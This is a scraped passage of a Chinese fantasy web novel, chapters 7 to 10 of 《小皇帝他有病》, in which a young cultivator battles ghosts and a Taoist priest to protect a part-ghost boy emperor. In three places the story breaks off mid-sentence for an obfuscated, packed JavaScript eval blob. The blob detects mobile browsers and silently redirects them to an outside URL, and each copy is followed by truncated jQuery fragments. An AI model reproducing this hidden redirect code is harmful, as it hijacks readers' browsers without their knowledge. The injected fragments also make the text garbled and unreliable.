《小皇帝他有病》 7. 第 7 章 只要撑过了夜晚,拖延到白天,恶鬼自会消失。 四只恶鬼一直围绕在别院转悠。 “小丫头,你以为杀了我兄弟一目,你就能高枕无忧了?” “你身边的那个小皇帝,你费劲心思救他,又知不知道他的底细?” “这世间都说我们鬼可怕,但人比鬼更可怕。” “这世上能将鬼开膛破肚,吃鬼肉、喝鬼血的,又有几人。你真该看看他是如何剖我兄弟肚子、吃我兄弟血肉!” 赢破脸色铁青,他呼吸渐重,余光落向孟枝枝,袖下,指尖滑过手中匕首的锋刃。 他将脸庞很慢地转了过去,正对上孟枝枝那副百无聊赖的神情,她正摆弄自己破掉的衣裳。 刚一察觉赢破的注视,孟枝枝眉头一挑。 神情示意——“怎么了?” 赢破脸变形,恢复常色,转回了头。 没一会儿他又看见孟枝枝盘腿打坐,眼睛闭着,嘴里嚼着咒枣,手指葱白揉捏着太阳穴,似乎是太累了。 “哈哈哈,好一个无心之人,无忧无怖无爱无喜。小丫头,你活的日子短,没见过什么叫真正的大凶大恶。能找到一目藏匿之地,知晓我恶鬼心思的人,和我们恶鬼有什么区别?” 赢破双目充血,牙根紧咬。 他是什么,用得着这恶鬼来说? 这恶鬼找死! 他抬头怒瞪。 突然,什么东西掉到他怀里,他下意识接住。 他紧绷的表情一变,孟枝枝眉头紧皱,早已睡熟过去。她睡得似乎很不安稳,眼球在皮下动,手还紧紧护在香囊之上。 他神情一松,她将头甩了过去,头上的红绳轻扫过他的手,引得他指尖一颤,不由自主摸上红绳,细细绵绵。 她嘴里轻喊了一句:“师父。” 他没有动弹,任她躺在他的腿上,深沉的目光移向窗外,天色渐渐变化,淡蓝色的光雾蒙蒙,又一只麻雀飞了进来,在叽叽喳喳地叫。 孟枝枝突然睁开了眼睛,她感受到脸下硬邦邦的,硌得她脸好疼。 一看,竟然是赢破的大腿! 她就在小皇帝的腿上毫无防备地睡着了? 她连忙支起了上半身,将发丝拂到耳后。 一只修长的手正揉按在刚刚她躺过的地方,她假装没有瞥见,站起身来,推门而出。 赢破一直凝视着她,她始终没回头。她的影子倒映他的瞳膜上,红绳飘动,伊人背影已散,他眸底的黑却浓得散不开。 * 孟枝枝又睡了一整天,醒来还是被冥漆摇醒的。 “谢天谢地,你终于醒了,要不是你还有呼吸,我都以为你死了,怎么睡得这么沉?” 孟枝枝感觉四肢酸痛得要命,她声音还有点哑,道:“昨夜我碰见鬼了,是传说中的一目五。打了一整晚,太累了。” 冥漆差点将手中的纸包丢到地上,道:“什、什么,这地方真的有鬼啊!” 孟枝枝接过他手中的纸包,大口大口地啃起来,给自己回血,道:“是啊,我之前就觉得这地方阴气这么重,很容易吸引鬼物。只是像一目五这么厉害的鬼物,很少见。或许这个地方以往是坟坑,埋了很多尸体,才能吸引这么厉害的鬼。” 冥漆听得双腿发软,看她眼神平淡,道:“那之后万一还来别的厉害鬼,岂不是要丧命于此!此地不宜久留,我想想办法带你出去。” 孟枝枝摇了摇头道:“出不去,除非来别的修士,也许能打破此地的结界。我是不行了。” 一目五有句话说得不错,她的剑灵太弱,本来她就不修剑道,第一次战斗,能消灭一只鬼,保住两个人命,她已经心满意足。 她虚弱道:“冥漆,有没有水,我想洗个澡,昨天出了一身的汗,现在感觉糟糕透了。” 冥漆道:“我马上给你安排。” 他肩膀上变出一个大麻袋,麻袋一掀开,各种家具堆在一块。他挤进一堆家具里,找能用的东西出来。 她看得额角抽抽。不愧是一直在皇宫里躲藏,身家都带在身上。 冥漆给她找到了浴桶,又浇了热水进去。又拉出一道屏风,将浴桶掩盖住。 孟枝枝走进屏风之中,脱去衣服,泡进了水里。 她道:“冥漆,你还在吗?” 冥漆道:“我在。奇怪,我召唤小桃仙怎么没有反应!” 孟枝枝将一瓢水淋在自己身上,道:“她上了玉坤山修道之后,就很少回来了吧。” 冥漆道:“是,她那个性子你还不知道,好胜心强,非说要给我带回什么可以治疗妖丹的仙草。好几日前就告诉我说今天会回来,可是我迟迟没有收到她的消息,她不会又是在哪里玩得忘记时间了?” 孟枝枝一想起小桃仙,嘴角忍不住翘了翘道:“说不定她迷路了呢?你去寻寻她,小桃仙修道有两年了,不知道长进了多少,说不定她能帮我破了结界。” 冥漆一拍脑门,道:“你说得对,我这就去。” 屋内又变回一片安静。 孟枝枝舒服地泡着澡,白汽氤氲,让人不禁神经放松。 只听屋内又有动静。 孟枝枝道:“这么快回来了?” 无人接话。 孟枝枝察觉不对,伸出手,将屏风上挂着的衣物拽了下来。 一个人从屏风前走了出来,孟枝枝直接死命扣住那人的脖子。 她瞳仁微缩,道:“赢破?” 她的发未干,湿哒哒地披在身后,身上的衣服随意缠绕了几下,显露出纤细的腰肢。 赢破嗅到她身上淡淡的枣香味,道:“是我。” 孟枝枝松了手,伸手将衣服的绑带穿好,道:“你不怕屋外的符纸?” 她也闻到了赢破身上隐隐有股烧焦的味道,他的发梢枯断了一截,明显是被烧的。 赢破想起,当时符纸烧得他浑身灼热,但他却更记得推门时心跳快得异常,这股莫名的感觉让他坚持走了进来。 他道:“教孤法术。” 孟枝枝道:“我说过的吧,我不会教你。” 赢破转身,很不见外地坐到她的床上。 孟枝枝有些生气,道:“你想耍赖?不教你,你就不走?” 赢破道:“你认为是便是。” 孟枝枝上前拽他,道:“你给我起来。” 她湿发滴水落到他的脸颊上,他黑睫轻颤,撑床的那只手一转,抓住了她那只胳膊。他抬头望她,幽深的眸子像有魔力将人吸进去,他掌心发热得滚烫,传来她皮肤细腻温凉。 他依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958179|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然横行霸道,道:“不起。” 孟枝枝没好气道:“好,你不走是吧?我走!” 她推门而出,看着屋外满墙的符纸,恨不得全撕下来扔到他身上。 真是!他敢进来,怎么就没把他给烧死! 她平复心绪,走到了树下,拿出护她剑。 她提剑而起,搜寻着记忆里那为数不多、可怜兮兮的剑招。 勤能补拙,她还不信了,她用剑就这么没天赋? 红绳少女在树下舞剑,一剑偏走,行云流水,但动作很是刻板单一,她却练习得专心致志。 师父告诉过她,量变引起质变。微小的动作,练熟了之后会在关键时候发挥极大的作用。 她不是大仙门里的弟子,没有那么多剑道秘籍,要做的就是把一招练习到极致。 她练习了整整一个下午,练得两颊绯红,却觉得与护她剑的共鸣比之前更强了,就连聚合灵气的耐力也有微妙的提升。 她樱唇微绽,眼中尽是满意。 一抬头,就见赢破坐在不远处,也不知道他看了她多久。 她烦躁得扭过头,将剑收在身后,打算走回去。 赢破道:“教孤法术,孤认你做师父。” 孟枝枝偏过头来道:“我可不敢收你这样的徒弟。” 赢破一挥衣摆,跪在地上,面容平静,道:“师父。” 这一下把孟枝枝有些整不会了。 他是那么能屈能伸的人? 孟枝枝任他跪着,抽出一张干净的手帕细细地擦拭了护她剑,她擦得认真,一颗心邦硬。 树上飘落残叶,落在了他瘦削的身上,阴风刺骨,他眸深如潭。 这时,别院的门吱呀呀地被打开。 钱喜率着一众将领陡然出现在大门里。 她再一看,不知什么时候赢破已经站起了身。 钱喜翘着兰花指,声音微颤道:“拿下他们!” 一众将领围住二人。 孟枝枝不知他们何意,手中的护她剑没来得及收,一剑侧挥,道:“你们想做什么?” 钱喜双眼里满是惊恐,兰花指点了一下她,道:“大胆!你们中了邪,杀了人,还敢装腔作势!快,赶紧把他们绑起来!” 赢破道:“你们是反了天?孤是皇帝,谁敢上前!” 少年一脸恶意,似乎谁敢扑上来,他就咬谁。 钱喜吓得腿打摆子,躲到一人身后,道:“他、他是鬼,你们快点动手。” 一众将领扑了上去。 孟枝枝手臂一勾,剑走轻灵,将十几位将领打得落花流水。她目光一凝,聚在钱喜身上。 赢破却先一步动作,狠狠踹了钱喜一脚,钱喜哎哟哎哟地滚了出去。 赢破眼神有刀,残忍地咧出一个冷笑,道:“不要命的老东西,孤今天就杀了你。” 钱喜吓得皮滚尿流,双腿攀爬在地上,一只手长向远处伸了出去,撕心裂肺大叫道:“仙师,救命啊!” 一道紫金葫芦飞来,金光从葫芦口投出,照在了赢破身上,他被定住。 紧接着,一条捆仙绳绕在了孟枝枝的身上,她想拿剑去割,但力有未逮。她突然意识到来的人难道是他? 一声苍老的声音响起,道:“设坛,升香!” 8. 第 8 章 钱喜如释重负,道:“奴才马上去办。” 数十将领将孟枝枝和赢破放倒在地,将他们牢牢看守住。 孟枝枝吃了一脸的土,面色沉重道:“来的人可是净念?” 无人回应她,那些将士面如冷灰,站如桩,就像一个个傀儡般,只听命令行事。 孟枝枝心中觉得不妙,她警惕着这周围的一举一动。 赢破早已破口大骂,从小至上,骂了在场所有人数代祖宗,除了孟枝枝逃过了他的口。以此可想,小皇帝并不知情。他为鱼肉,人为刀俎,才如此大怒。 钱喜听得害怕,在他身前老老实实跪下,道:“陛下啊,奴才们都是为了你好,您现在中了邪,就让道师给您驱驱邪,才能保您平安。” 赢破道:“驱你太爷的臊!你这蠢东西,脑子发了昏,快给孤松开!” 孟枝枝冷静道:“钱公公,你为什么会判断我们中了邪?” 钱喜擦了擦额角的汗,道:“小贵人呐,奴才不是故意刁难您,你们杀了朝恩,奴才都知晓了。” 孟枝枝道:“朝恩不是我们杀的!” 此时,那苍老的声音又一次响起,语气不屑道:“哼,邪物,你还敢骗人!人证在此,看你还怎么狡辩!” 突然一具血人陡然出现在人们的视野里,原本死去的朝恩如今像一具扭曲的玩偶,手脚被强行拼接起来,裂开的嘴像血盆大口,指着孟枝枝和赢破,道:“是、是……你、你们、杀……我。” 一滴血从他眼角滑落,如死鱼一样泛白的眼睛满含怨气地盯着他们。 钱喜吓得躲到将士的身后,道:“仙师,快快驱邪罢!”他双手合十,念着阿弥陀佛、观音大士、如来佛祖……。 “众人退下。” 那净念道师一言既出,朝恩的尸体爆裂开来,化作一场血雨,淋了孟枝枝二人满脸。 钱喜仓皇而逃,一众将士从房间中退去。 大厅之上挂满了黄灵宝幡,上面用朱砂画字,红黄相间,房柱上还绑了五颜六色的道家法旗。 咚——咚—— 木鱼声起,香炉飞烟。 两道白布落下,遮住了她和赢破的眼睛。 只闻脚步声来,那步伐稳重有力。 孟枝枝此刻对赢破低语道:“我教你几句咒术,我只说一遍。” 她双唇轻轻蠕动,细如蚊音。 大门此时被合上,那苍老的声音道:“你们就是赢氏子孙和孟氏女子?” 孟枝枝道:“装什么神仙?你如果真是修士,难道还不知道我们是不是邪物?” 净念道师道:“牙尖嘴利。” 孟枝枝循声,感觉到步伐落在了她的跟前。 她的下巴被人抬起,净念道师道:“你的师父就是孟慕华?” 孟枝枝不耐地扯了扯下巴,道:“是又怎样?” 净念道师道:“我见过你师父,她一介散修,躲藏到南元国,究竟有什么意图?” 孟枝枝嘴角一翘,道:“你猜啊。” 净念道师随手卸了她的下巴,孟枝枝吃痛。 他道:“你们大费周章想帮这鬼子脱身,他当不得这皇帝。” 孟枝枝忍着鄂下剧痛,道:“千年仙誓,赢氏子孙代代为皇。你们这么久不想杀他,就是怕仙门找上门来,你道行不低,杀了他,仙誓一动,难道不怕千霄宫的人立马赶来?” 千霄宫是如今第一仙门,千霄宫中有七座主峰,掌管各峰的七位峰主每个人都德高望重。几乎所有仙门都以千霄宫为首是瞻,千年过去,仙门聚散有往,唯独千霄宫屹立不倒,可想而知这遗传千年的仙脉该有多么强盛! 净念道师道:“千霄宫算什么东西!你呆在这鬼子身边这么久,应该知道他和普通人不同。皇宫里死人众多,皆是因为他。本道师好心劝你,回头是岸,莫要再执迷不悟。” 他摇动法铃,“无论你是什么妖魔鬼怪,都给本道师滚出来。” 他念起净身咒。 “灵宝天尊,安慰身形。弟子魂魄,五脏玄冥。青龙白虎,队仗纷纭;朱雀玄武,侍卫我真。急急如律令。” 一阵狂风乱舞,随着法铃晃动,整间房屋被搅动得天翻地覆。 “孽畜,还不快现身?” 一言既出,从法铃下抛出一道金光笼罩到堂下二人身上。 孟枝枝趁机一躲,捏决将眼上的白布扯落,见清楚了净念道师的真面目。 净念道师长得花白胡子,头上插着树枝钗,身着灰色道袍,腰间挂着葫芦瓶,看上去像个不染纤尘的世外高人。 她大喊道:“护她!” 护她剑现身,一把血红的剑朝着净念劈了下来。只是瞬间,一人一剑缠斗。 孟枝枝的汗水流淌到脖子处,她努力挣脱着那捆仙绳。 上一世,她就见过净念道师。那时,赢破发疯,要杀了所有人,钱喜带人想要控制住他却不能,净念道师就是从这个时候出现。他将赢破带入了门内,她当时心急如焚,干脆泄露了自己散修的身份,用术法制住了钱喜等人,也跟着破门而入,最后也是被这捆仙绳捆住。 她被重重地打出门,门再次被关上,不知屋内发生了什么。 待门再开时,就见赢破满身鲜血走出,表情疯癫,双目猩红道:“原来如此。” 他的身体像被数只野兽啃食过,破损得七零八落,她着急地为他堵住血口,要不然他这全身的血都要流尽了。 但他竟在疯狂癫笑,那笑声快要荡平整个别院,令人毛骨悚然。 他跪倒在她跟前,她始终记得赢破那双黑幽幽的眼睛。 他用沾满鲜血的手抚摸她的脸颊,道:“你会怕我吗?” 孟枝枝道:“我不怕。赢破,你到底怎么了?” 他将头枕在她的肩头,彻底昏死过去。 想用捆仙绳再次困住她?没门! 她故意磨破手边,以血为引,双唇念动得极快,感受到仙绳松开,她立马奔赴到赢破身边,咒枣打在紫金葫芦上,金光一抿灭,他便被解救了出来。 她将他护在身后,道:“你的身体最怕道家法术,他道行很高,切勿冲动。” 她留下一言,此刻净念道师正从护她的剑下逃脱,朝她攻来。 她抬出金弓,道:“你令死人回光返照,代价是死的那人将会魂魄灰飞烟灭,永世不得超生。使用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958180|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种恶毒的咒术,你也配修道?” 她射出金箭,光芒万丈。几乎一刹那,漫天碎光散落。 屋内法旗尽折,宝幡尽断,啪啪啪地全掉落在地面上。 净念道师在空中翻腾着身体,躲过金箭。 她趁机接过护她剑,又攻了过去。红绳在她身后飞舞,血剑在她手中变得灵活。 此景,看得赢破眸底闪着炽热的光芒,一直围绕在孟枝枝的身上。 净念道师从袖下夹出两张黄符,两指一抛,黄符飞到她身上,孟枝枝早有提防,一剑将那黄符劈成两半。 就差一点! 净念道师这才看清那剑带着剑灵,并非寻常的桃木剑。 他彻底冷下一张脸,道:“小丫头,你究竟是什么人?” 孟枝枝一仰下巴,几分张扬道:“行不更名,坐不改姓,孟芷是也。” 净念道师,道:“巧言令色!你护着他,可知道他是个什么东西?” 孟枝枝道:“你一而再,再而三地针对他,那你不妨说说他究竟是什么?” 净念道师冷笑道:“你想知道?我就让你亲眼看看!” 他手中紫金葫芦一出,赢破顿时又被吸到他身前,动弹不得。 他撕去赢破胸前的衣衫,五指插进,徒手一挖,肋骨断裂,就看见赢破胸口破了个大洞,鲜血汩汩地流。 她亲眼看见,赢破的胸膛中正有一颗血红的心脏一下又一下跳动,脸上一片愕然。 净念道师道:“你睁大眼睛,好好看清楚他是个什么东西!” 他胸口的血肉长出无数的条状管,宛如无数的小手在互相靠拢。那小手像蚯蚓一样四处蠕动,到处寻觅,终于找到了另一处小手,小手与小手紧握在一起,不过短短一瞬,他胸口的血肉长成,只有少许的血液还在渗出。 净念道师道:“他压根就不是人,是鬼。” 赢破嗔怒,眼角已红。 他死死地看着孟枝枝,他身上的秘密被一下子揭破,她会怎么做? 她想杀了他吗? 孟枝枝似乎好一会儿才消化了事实,道:“你为什么说他是鬼?你也不说了他是赢氏子孙,先帝是他父亲,仙誓在他身上,这点总不会错。难道你想说赢氏世世代代皆为鬼,他们全都骗过了仙门之人?” 净念道师道:“呵,仙门又算得了什么。” 他脚一踢,赢破跪在了地上,垂着头。 净念道师摇动法铃,那铃声激起空中波纹,赢破吼叫一声,竟被刺激得双耳流出鲜血。 他道:“道家法器本就天生与鬼邪为敌。他受不了黄符纸,也受不了本师的法器。这样还不能证明他是鬼?” 那法铃摇得愈来愈快,赢破从脖子到额角全部血管暴起,看着十分痛苦。 孟枝枝直接提剑而去。 赢破看着她满脸坚毅,宛如神女一般向他奔来。 法铃果然停下,净念道师躲着她的攻击,语气恼怒,道:“你是选择执迷不悟了。” 孟枝枝道:“不,我信他是鬼,但你也不是什么好人,我选择谁也不信。” 赢破瞳仁一缩。 她认定他是鬼邪了吗? 9. 第 9 章 十七年前。 “陛下飞升了,陛下飞升成仙了!” 皇宫中一处正殿屋宇倒塌,残垣断壁,焦黑余火在此处遍地都是。 然而宫人们却面露欣喜。 他们的皇帝,南元国江山共主赢获,竟然修炼成仙。 世人都知当神仙好,遗世独立,长生不老,南元国也不例外。 南元国地处人界,各属地常有妖魔鬼怪作乱,凡人难以抵挡,只有修士才有法术对抗邪恶。 而修士自认为自己追求成仙大道,身有神术,不同于凡人。于是有宗派的修士便称呼自家为仙门,有实力的都各有封号,什么道师、道君、仙君、仙子之类的称呼层出不穷。除此之外,各家仙门处处模仿传说中神的吃穿住行,辟五谷,着长袍披帛,还将洞府修在修仙界的灵山上,从不轻易下人界。 所以,南元国自建国起,为了不被妖魔进犯,能求得仙家庇护,就极为尊敬修者道师。每一代皇帝继位之时都会朝修仙界的灵山方向跪拜,渴求能得修者为师。 但仙门自贵,极少回应。 嬴获此举飞升,便意味着生生越过了修仙界,越过了那些修士漫漫长夜、苦苦数百年的修行,一举登天,和神共处一界。 而神所在的世界在修仙界之上,被称为神域。 这是多大的荣耀! “陛下以后会护佑南元国千秋万代吧!” “当然会了。陛下说过,等小皇子以后长大会说话,南元国境内就再也不会有妖魔出现,百姓可以安居乐业,天下可以太平安康了!” 然而赢获飞升成仙之后,再未回来。南元国除了皇都及附近属地安定,其余各地四处常年妖魔出没,残害百姓。 净念道师道:“因为他的出生,死了无数人。他爹赢获为何费尽人力、掏空国库都要修仙,还不是因为赢氏一族每一个活不过三十岁。上古神明开天辟地,降下福祉,让人界拥有灵秀山川、物华天宝,也让南元国有了建国的资本。但能坐上皇位的不一定是赢氏一族。当初是各家仙门立下誓言,亲自将赢氏一族捧上了皇位,护佑子孙后代稳坐皇位,但赢氏毫不知足,代代都还想长生不老。而他,本来就不该出生!” 他又将一枚黄符往赢破身上抛去。 还没等孟枝枝作出反应,赢破就已经暴怒而起。 赢破手中紧捏一颗咒枣,“天降神威,赋予枣上,逆我者皆诛。咒枣,出。” 含着金光火焰的咒枣,朝黄符猛烈一撞,黄符纸瞬间焚烧成灰烬。 净念道师怒道:“你、你们戏耍本师!” 孟枝枝一挑眉,她没想到赢破学咒术学得竟然这样快。 她只是讲了一遍,又塞了他几颗咒枣,却被他发挥到十成。原本他体质更似鬼邪,资质与道家法术相冲,如此施法必定会损害他的身体,但身体里拥有的人类血脉,又使他能够释放出咒术。 孟枝枝耸了耸肩,道:“不关我的事。” 赢破硬是撑着,一边又结印使出金弓,身上烈火焚烧,衣裳被烧出大洞,露出里面朵朵巴掌大伤痕,焦肉掺杂鲜血,惨不忍睹。 他疼得全身大汗淋漓,四肢抽搐,面上却置若罔闻。 他知道,手里如今捏着的不是咒枣,而是他的命。 他想活。 净念道师冲他,道:“你罪孽深重,乖乖就擒。驱了邪,本道师自会为你超度往生,下辈子别再投胎做赢氏人。” 赢破笑得残忍道:“孤凭什么要去死?” 他向净念道师猛撞了过去,手中紧握的金箭烫得他掌心枯烂,他直接往净念道师身上插了过去。 净念道师躲开金箭,几下就破解开他的法术,将他掀飞。赢破像抹布被丢在地上,口吐鲜血,眼中有肃杀之意。 净念道师飘飘然起身,兰花手起势,腰间葫芦瓶飞出被打开,里面泼出滔天符水,巨海般向二人冲去。 这一烫下去,怕是要将他们两个人全熔了。 孟枝枝立马捏决,开启一道金盾,双手强撑住。护她剑在主人强烈的意识下,寸步不让,誓死捍卫。它逐渐变大,成半人身高,挡在二人跟前。万丈红光,拔地而起。 一剑抵万海。 此刻,赢破踉跄地从地上爬起来,他吐了一口鲜血,怨毒道:“该死的人是你。” 他长袖下现出一把匕首,仿佛想以野兽搏斗之势,去应对净念道师。 事到如今,他一点不会再忍下去。 孟枝枝顿时感到后怕,她大喊:“不要靠近他!” 赢破听不进她的话。 借护她剑牵制净念道师之际,他宛如灭世修罗,踏出一条血路,一把匕首直直地朝净念捅了过去。 孟枝枝心急如焚。 赢破完全不知道他要面对是怎样一个可怕的人! 她大喊道:“快停下,赢破,你听见了没!” 此时,一个声音突然冒出,“枝枝,我来帮你!” 孟枝枝一扭头,发现竟然是冥漆。 冥漆眼冒绿光,双目盯紧孟枝枝刚刚用法术制造出的割裂之处。他周身突然冒出数只幻象鼠影,无数鼠影冲去,为孟枝枝支撑着金盾。 冥漆大喊一声,鼠影瞬间增大数倍。 扯—— 他死死咬住了赢破的衣摆。 孟枝枝赶紧向赢破冲了过去,紧紧抓住了他的匕首。 她的手瞬间滑落血痕,染红了匕首冰冷的刀锋。 她道:“别中他的计。” 她雪亮的双眼望着他,她双唇失了血色,嘴角向下轻撇,仿佛是被痛苦压褶。 赢破眼神一空,她的血一滴一滴掉落,仿佛沙漏一样不可阻挡地往下涌出。 ——血流尽,人是会死的。 他的心中突然浮现出这么一句话。 啪嗒啪嗒—— 血坠落的每一声都像是掉在他的心尖上灼烧。 他立马松了手,道:“你疯了!” 孟枝枝道:“我很清醒。” 她趁他松力,丢开匕首,又一脚踢得远远的。 她面部皱得痛苦。 赢破气道:“你是白痴吗?徒手接刃?” 孟枝枝气道:“要不是你轻举妄动,我会这么做?说来说去,都要怪你,叫你不要冲动,你怎么就不听呢?” 她骂得干脆,只见赢破却低下头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958181|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含住了她的伤口,将嘴里的鲜血渡了进去。 她一时愣住,掌心的疼痛渐渐变得轻了些。 净念道师一见道:“你竟还会救人?上天不长眼,竟让你拥有这样一身能治愈的血肉。” 孟枝枝立马将他推开,道:“救人不是这样救的,省省你的血。” 赢破眼睫垂落,看不清他的神色。 她从桂花香囊里掏出一个碧玉瓶,一闷瓶将咒水倒在了掌心里。 孟枝枝又从衣裙下撕扯下一块布,迅速包扎了一番。抬头一看,赢破正望着她,他薄唇上还沾着鲜血,红得十分艳。 净念道师冲孟枝枝道:“只要把他留给下,我可以放你走!” 孟枝枝红唇微掀道:“你以为我会信?” 护她剑此时被那葫芦里的海水冲击得往后退了一步,孟枝枝身为主人,察觉得比他人灵敏。 她捏诀,支撑起护她剑,往前推了一步。 她冲赢破道:“看见没,如果刚刚你冲过去,就正中他的计。整个房屋里已经全是符水,你只要一出护她剑的庇护圈,立马就会被他捉住。” “行了,你先一边儿去。”她又将他护在了身后。 赢破这次竟然没有反驳她,拖拽着残破的身体,安静地呆在她身后。 她冲净念道师道:“哼,不就是净身咒,以为我不会吗?” 她也重复念出:“灵宝天尊,安慰身形。弟子魂魄,五脏玄冥。青龙白虎,队仗纷纭;朱雀玄武,侍卫我真。急急如律令。” 咒枣与护她剑并行,形成一道严实的金色防线。 她心知净念道师如此冲击护她剑,必有阴招,现在先抵抗一阵,让赢破先恢复伤口,恢复战斗力,待对方先出招。 这时冥漆也跑到孟枝枝身边,刻意远离赢破。 孟枝枝一见,道:“你怎么突然出现了。” 他探出头,欲哭无泪道:“我、我没找到小桃仙,一听说他们请道师来驱你邪,赶紧来救你出去啊。” 冥漆见净念道师一打二打得这么猛,又是法器,又是符水。 没想到这个道师这么厉害,他躲了许久,看他们打斗,不敢下来,怕被法术击中,小命都没了。 要不是见情况危机,他还下不了现身这个决心。 净念道师又见一只小妖冒出,眼中是无尽贪念。 他道:“你们一个也别想走!” 净念道师将葫芦瓶收走,双手夹住数十张朱砂黄符向他们抛去。 孟枝枝对身后二人道:“你们要小心,他傀儡术了得,不要让黄符纸近身!” 孟枝枝手握护她剑,一剑斩出千钧气势,横切黄符。黄符纸在半空中就被拦腰截断,顿时火焰通明,焚烧殆尽。 净念道师又是数张黄符掷来。 冥漆看见黄符转了个方向,朝自己追来,吓得直接化出真身,四处躲窜,那黄符紧跟不舍,他上蹦下跳。 前方惊现一只苍白的脚。 他差点刹车不及。 抬头一见,是赢破那张阴沉的脸,吓得要往后跑。 但一回头,黄符就在身后。 他大喊:“救命。” 10. 第 10 章 孟枝枝一看,立马提剑向挥着黄符的净念道师刺去。 净念道师将法铃掷了出去,法铃瞬间变大,大如鼎钟,一只黄老虎幻影从铃身的虎纹而出,缠绕铃身周围,老虎张开大嘴,露出獠牙,冲孟枝枝咆哮。 孟枝枝道:“护她,破它。” 又是一剑打老虎。 老虎也不甘示弱,仗着自己幻影之躯,打不散,死不了,直奔孟枝枝软肋而去。 孟枝枝一边打老虎,一边要控住净念道师不要抛符,还要警惕自己被控制。 一时缠斗得紧。 冥漆这边以为自己大祸临头,死期将至,吓得呆滞。 一道金光乍现。 黄符纸焚烧的声音在耳边响起。 他一回神,灰烬飘落漫天,红星在空中若隐若现。 他回头。 赢破一身杀气,两把金弓护他左右,铮铮金光,宛如神佛临世。 竟然是赢破拉起金弓救了他。 冥漆呆住。 他一声谢谢即将落在嘴边。 赢破一把从地上抓起了他,捏得冥漆舌头一伸,眼珠上翻,五脏六腑移位,差点口吐鲜血而亡。 冥漆赶紧幻化人形,挣脱了出去。 赢破低头看向自己五指,屈了屈指节,问道:“你怎么不死?” 那一声竟是天天真真的疑惑。 冥漆吓得大叫:“鬼啊!” 然而黄符纸扑面而来,容不得一人一妖闲聊。 冥漆再不敢化真身,怕被赢破捉住捏死。他跳到赢破身后,那架势更像他躲在赢破身后。 赢破再次结印,使出咒枣术·金弓,射出雷霆金箭,那金箭似乎与之前不同,带有黑气微光,有着闪电状的衣带,细看才能发现差别。 他感受内心有一股汹涌澎湃的凶气,想释放出去。 心念一起,手落出的金箭便威力强大几分。 每射出一发,身上好了的伤瞬间被金光烫破数道口子,鲜血淋漓。 然而他仿佛不知疼痛,也不知疲倦,不断射出金箭,伤口越落越多。 冥漆在他身后看得都呆了。 他看见赢破身上的衣服破烂,更能看清赢破的伤很快被治愈,皮肤恢复白皙,显得一尘不染。 这恐怖的治愈能力。 他揉搓着眼睛,发觉真不是自己的错觉。 净念道师这次再看赢破,眼中垂涎欲滴。 他突然仰天大笑,“本道师改了主意。赢氏子孙,你们打不过我,你若现在投降,我可以留你一命,只要你将你的肉分给我,不过黄毛丫头和那小妖我得拿走。” 赢破露出一个阴恻恻的笑,道:“你想要孤的肉?” 他半是癫狂状道:“你也想要孤的肉。孤的肉,哈哈哈哈。” 冥漆一见他这副不正常的样子,偷偷从他身后爬出更远。 赢破笑着笑着,笑得几乎眼泪都要掉落出来,他浑身已经不能用狼狈来形容,而更像一个腐烂的空壳,仿佛只有那股疯念还支撑着他,驱使着这具非人的身躯。 由此看,他那突如其来的笑意更像步入了穷途末路。 他终于开了口。 “孤可以答应。” 冥漆头皮发麻。 他要出卖他们? “不过,孤有个条件。” 净念道师迫不及待,“你说,灵丹妙药、奇珍异兽、杀生法术或是……人,只要本道师有,都可以给你。” 赢破又是闷笑几声,身体随之颠簸,似站不稳,随时都要坠落下去。 “好啊。” 他面色一凝,满目阴冷。 “孤要你死。” 说罢,万箭齐发,头顶雷轰。 赢破眼中只有金光万道,那金光耀得他眼珠子通白,满脸豪横,杀意在心中屡止不熄,瘦弱的身躯竟有癫狂之象。 冥漆想跑,但刚跑出没几步。 他肩膀受到金箭重重一刺,弹飞了出去,鼻腔里一股鲜血涌出。 房屋里金箭乱飞,不分敌我。 净念道师不光术法了得,功法也厉害。在这乱象之中,不过中了一箭,也是擦过袖子,袖子破了个口子。 他飘立空中,金光不渡其身。 他结印念道:“大悲大愿,大圣大慈,无量度人。同悲同喜,天地同心。吾奉太上老君急急如律令!” 话音刚落,天空聚滴成水,水迹一笔一划,现出金色符文。此乃同悲同喜咒,是傀儡术中的一种。 他能用水画符! 难怪刚刚他使用葫芦喷出符水,是把整个房间都变成了他的画符场。 如今只要水不干,他想要,就可以随时随地用水画符。 孟枝枝在心中着急,她对着手中的剑道:“护她,我们要拼力一击,得快点出去!” 护她剑顿时变大,本来半人身高,如今比孟枝枝还要高出半个头,剑身也涨得比人的腰还粗。 孟枝枝拿着巨剑,冲法铃的宝顶砍去。 这边,净念道师的同悲同喜咒应验在赢破和冥漆身上。 